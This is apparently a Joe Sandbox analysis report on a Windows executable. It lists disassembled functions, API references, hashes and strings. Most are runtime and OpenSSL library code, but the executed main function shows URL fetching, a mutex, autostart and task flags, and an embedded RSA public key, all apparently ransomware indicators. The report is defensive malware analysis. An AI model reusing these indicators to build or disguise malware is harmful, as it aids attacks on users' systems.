Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 3ce194cd43747d27ebed930c8f62b8ae2dfedec0598753d986fb7d5e90e21396
Instruction ID: 205a7dfde668f5b6c198a83f17980c52b59fbaaffcac11dc6a43c54d8fe81a94
Opcode Fuzzy Hash: 3ce194cd43747d27ebed930c8f62b8ae2dfedec0598753d986fb7d5e90e21396
Instruction Fuzzy Hash: 7181F4B0A00206DFEF14EF58D98479EBBF1FF15304F14492DE40597642E7BAAA54CBA1

Function 007A2130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 007A218E
__read_nolock.LIBCMT ref: 007A225E
__filbuf.LIBCMT ref: 007A2281
_memset.LIBCMT ref: 007A22C5

Part of subcall function 007A5208: __getptd_noexit.LIBCMT ref: 007A5208

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction ID: 177137b170afd40ff74abede1e8da70c4ec2652767a4d1cc45ac0cb79b18f1a8
Opcode Fuzzy Hash: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction Fuzzy Hash: F751C431A00209EBDB248FADC88466E77B1BFD3320F248729F835962D2D7789D528B55

Function 007BC677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 007BC6AD
__isleadbyte_l.LIBCMT ref: 007BC6DB
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,E1C11FE1,00BFBBEF,00000000,?,00000000,00000000,?,007BC0ED,?,00BFBBEF,00000003), ref: 007BC709
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,00BFBBEF,00000000,?,00000000,00000000,?,007BC0ED,?,00BFBBEF,00000003), ref: 007BC73F

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 223ca2a3d14b4a76f005dd621af1cd559c9d4eced814f28bf627cbcd7e1aae52
Instruction ID: 0ae093554cb4f057b2b0eba742e14734878a7d49faa3a6443ddce995fe6da7ea
Opcode Fuzzy Hash: 223ca2a3d14b4a76f005dd621af1cd559c9d4eced814f28bf627cbcd7e1aae52
Instruction Fuzzy Hash: B231EF30600206EFDB228F35CC48BEA7BA9FF41314F15C569F8248B1A0EB38E850DB90

Function 00847094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 008470AB

Part of subcall function 008477A0: ___BuildCatchObjectHelper.LIBCMT ref: 008477D2
Part of subcall function 008477A0: ___AdjustPointer.LIBCMT ref: 008477E9

_UnwindNestedFrames.LIBCMT ref: 008470C2
___FrameUnwindToState.LIBCMT ref: 008470D4
CallCatchBlock.LIBCMT ref: 008470F8

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: b2338dccb5ce6a2bb5b983e5d077cb91d3479ff5b64ff7c0901ceefddd664a12
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: EC01D33240050DBBCF12AF99CC01EDA7BAAFF49754F158014FA18A6121D372E961EBA1

Function 007A53B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 007A5007: __getptd_noexit.LIBCMT ref: 007A5008
Part of subcall function 007A5007: __amsg_exit.LIBCMT ref: 007A5015

__calloc_crt.LIBCMT ref: 007A5A01

Part of subcall function 007A8C96: __calloc_impl.LIBCMT ref: 007A8CA5

__lock.LIBCMT ref: 007A5A37
___addlocaleref.LIBCMT ref: 007A5A43
__lock.LIBCMT ref: 007A5A57

Part of subcall function 007A5208: __getptd_noexit.LIBCMT ref: 007A5208

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 010f62bcfa06e8360bfa52db864bd40e075804fdc76d879d09c29495a0f0b220
Instruction ID: 4c24c7092819077fa8a9b53260167ed3ca2f4881c5c1ef8af7c93e50ce97682d
Opcode Fuzzy Hash: 010f62bcfa06e8360bfa52db864bd40e075804fdc76d879d09c29495a0f0b220
Instruction Fuzzy Hash: 6F014071A45700DBD760FBA8844AB1E7BE0AFC3721F20834AF4659B2C2DE7D5D408B62

Function 007C09B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 007C09DD

Part of subcall function 007C10FD: __fltout2.LIBCMT ref: 007C1126

__cftog_l.LIBCMT ref: 007C0A03
__cftoe_l.LIBCMT ref: 007C0A35

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 9dd692f3b04600f5301a9e3a6560511bfe21fe76a632f10007426148637f9b4e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 28014B3240024EFBCF165F94CC46EEE3F62BB29354B58841DFA1958031C63AC9B2ABC1

Function 007927A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 007927B9
_malloc.LIBCMT ref: 007927C3

Part of subcall function 007A0C62: __FF_MSGBANNER.LIBCMT ref: 007A0C79
Part of subcall function 007A0C62: __NMSG_WRITE.LIBCMT ref: 007A0C80
Part of subcall function 007A0C62: RtlAllocateHeap.NTDLL(013B0000,00000000,00000001,00000001,?,?,?,007B0E81,00000001,00000000,?,?,?,007B0D1A,007CF284,?), ref: 007A0CA5

_memset.LIBCMT ref: 007927CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 007927E4

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 789ae0f1e0fa0b27006e5ec583ab27d104f415a1b2fc2ddca374d17fc55a8fc0
Instruction ID: 5ec79d632befa73e60aa89600fd8363882772bdbf04728693f6319b874c9a092
Opcode Fuzzy Hash: 789ae0f1e0fa0b27006e5ec583ab27d104f415a1b2fc2ddca374d17fc55a8fc0
Instruction Fuzzy Hash: 88F02739702204BBE72057659C4AFBBBA9DEBC7760F100225B604E32C2E9912D0152F1

Function 00792800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00792806
_malloc.LIBCMT ref: 00792814

Part of subcall function 007A0C62: __FF_MSGBANNER.LIBCMT ref: 007A0C79
Part of subcall function 007A0C62: __NMSG_WRITE.LIBCMT ref: 007A0C80
Part of subcall function 007A0C62: RtlAllocateHeap.NTDLL(013B0000,00000000,00000001,00000001,?,?,?,007B0E81,00000001,00000000,?,?,?,007B0D1A,007CF284,?), ref: 007A0CA5

_memset.LIBCMT ref: 0079281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00792832

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 931ba93e533537afb6186293a103deaca6c0bd5234ea4cbe5b30744feab7edfb
Instruction ID: 6b473358566314ac752aeb5c8eebb81befd41a0e5c26316596fb5e303995e2cd
Opcode Fuzzy Hash: 931ba93e533537afb6186293a103deaca6c0bd5234ea4cbe5b30744feab7edfb
Instruction Fuzzy Hash: 48E0C27A302524BBF51027596C8EFBB6A1CDBC77B6F100212F611E22E3DAA81C02C1F1

Function 00794920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 007949F1

Strings

invalid string position, xrefs: 00794C3D
string too long, xrefs: 00794C33

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 84c3e0453765f57a7a545262276f5ac5a1f90a4991c2c85e796b50b893b5fa01
Instruction ID: 5b8ae14dcba48ea9a8f25cb97ab2659529786ac2de5d4debc5ad0233af9960a5
Opcode Fuzzy Hash: 84c3e0453765f57a7a545262276f5ac5a1f90a4991c2c85e796b50b893b5fa01
Instruction Fuzzy Hash: 45C12B71700209DBCF24CF58E9D4DAAB3B6FF84300B20856DE8468B655EB38ED56CB95

Function 007F0040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 007F0118
_memset.LIBCMT ref: 007F0199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 007F00F9, 007F017A, 007F0202, 007F0228

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 96d77062b9c3f01b45a61bce3d06f75fb7bd33f08599d8ecde6d76655df0533f
Instruction ID: f808c3a3a78f140266e16e0200b0e92d899334c7a505d17fcfc4915c52fc8f22
Opcode Fuzzy Hash: 96d77062b9c3f01b45a61bce3d06f75fb7bd33f08599d8ecde6d76655df0533f
Instruction Fuzzy Hash: 6051937174030A66E7306EA69CC6F7B7799EF41B90F040429FB18D5383EAA9E85485F2

Function 00797D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00797E2E

Strings

invalid string position, xrefs: 00797EDF
string too long, xrefs: 00797EE9

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: cb555eb65205ec1f8e8c1d4b1b9d1169a2249fe23cfdefe8a0fe951a77ac4494
Instruction ID: e4136b671c538b5281148908d294d6db3e013a4f72d07f8c119a22cad0cfd9aa
Opcode Fuzzy Hash: cb555eb65205ec1f8e8c1d4b1b9d1169a2249fe23cfdefe8a0fe951a77ac4494
Instruction Fuzzy Hash: 1A517C31728209DBCF28DE18E8848AEB7B6FF84700B20456DE8558B351E739ED55CBE0

Function 00793C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00793CA0

Part of subcall function 007A3B4C: _malloc.LIBCMT ref: 007A3B64

_memset.LIBCMT ref: 00793C83

Strings

vector<T> too long, xrefs: 00793C96

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 81f53b28daa7393a30d0741d37f7a0488e1410dfacfc437a7584d2d87175c916
Instruction ID: e2d7f0656d81426c7ea585df948bc968056096f0e3b060e7d8fa34194175b71c
Opcode Fuzzy Hash: 81f53b28daa7393a30d0741d37f7a0488e1410dfacfc437a7584d2d87175c916
Instruction Fuzzy Hash: 3E01D2F19007009BE3309F19E805B57B7E8AF41760F10452DF9A893681E7B9E544C7A0

Function 007A0DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 007A0DD5
__calloc_crt.LIBCMT ref: 007A0DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 007A0E13

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 9f46aab5292624d2bb1e06c88b876da8f488c2de23f54485655be3f356a2dfbb
Instruction ID: 441aa325dd9bf2177b5e4574ea2e862485aa97ec310ac308afd3feaf2064a9d9
Opcode Fuzzy Hash: 9f46aab5292624d2bb1e06c88b876da8f488c2de23f54485655be3f356a2dfbb
Instruction Fuzzy Hash: 9DF0AF71349611DBFB68AB68FC51A613794F783B20B100A6AF200CAAC0E73C884096D2

Function 00800620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00800686

Part of subcall function 007D4C00: _raise.LIBCMT ref: 007D4C18

Strings

.\crypto\evp\digest.c, xrefs: 00800638
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0080062E

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 4448805ffe4f403fc2bd4a73b860cd7494cd875c9607ecabe5f3aa021efc9a93
Instruction ID: 9da48c570cf0c75ba48f5f2e37430b87dd6c87a08b66cb5d49f3e7ba7b3a9888
Opcode Fuzzy Hash: 4448805ffe4f403fc2bd4a73b860cd7494cd875c9607ecabe5f3aa021efc9a93
Instruction Fuzzy Hash: 3C012875600600AFC310DF08EC46E56B7E6FFD9310F198468F598DB3A2E762EC558B95

Analysis Process: f6ffg1sZS2.exePID: 2120, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1967
Total number of Limit Nodes:	171

Executed Functions

Function 00F79F90 Relevance: 169.6, APIs: 65, Strings: 31, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 00F6CF10: _memset.LIBCMT ref: 00F6CF4A
Part of subcall function 00F6CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 00F6CF5F
Part of subcall function 00F6CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00F6CFA6

GetCurrentProcess.KERNEL32 ref: 00F79FC4
GetLastError.KERNEL32 ref: 00F79FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00F79FDA
GetLastError.KERNEL32 ref: 00F79FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,00922860,?), ref: 00F7A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00F7A0C2
GetCommandLineW.KERNEL32(?,?), ref: 00F7A161

Part of subcall function 00F724E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 00F724FE
Part of subcall function 00F724E0: GetLastError.KERNEL32 ref: 00F72509
Part of subcall function 00F724E0: CloseHandle.KERNEL32 ref: 00F7251C

Strings

D:\Program Files (x86)\Mozilla Firefox\, xrefs: 00F7B02E
--Task, xrefs: 00F7A2CD
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 00F7A8A0
C:\Program Files\Internet Explorer\, xrefs: 00F7AF73
IsAutoStart, xrefs: 00F7A1D0, 00F7A273
%username%, xrefs: 00F7B283
I:\5d2860c89d774.jpg, xrefs: 00F7B32F
C:\Program Files (x86)\Internet Explorer\, xrefs: 00F7AEA1
-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppa, xrefs: 00F7A255, 00F7A37B, 00F7A847, 00F7A955, 00F7A962, 00F7A97F, 00F7A980, 00F7A9F2, 00F7A9FF, 00F7AA16, 00F7AA17
--ForNetRes, xrefs: 00F7A22E
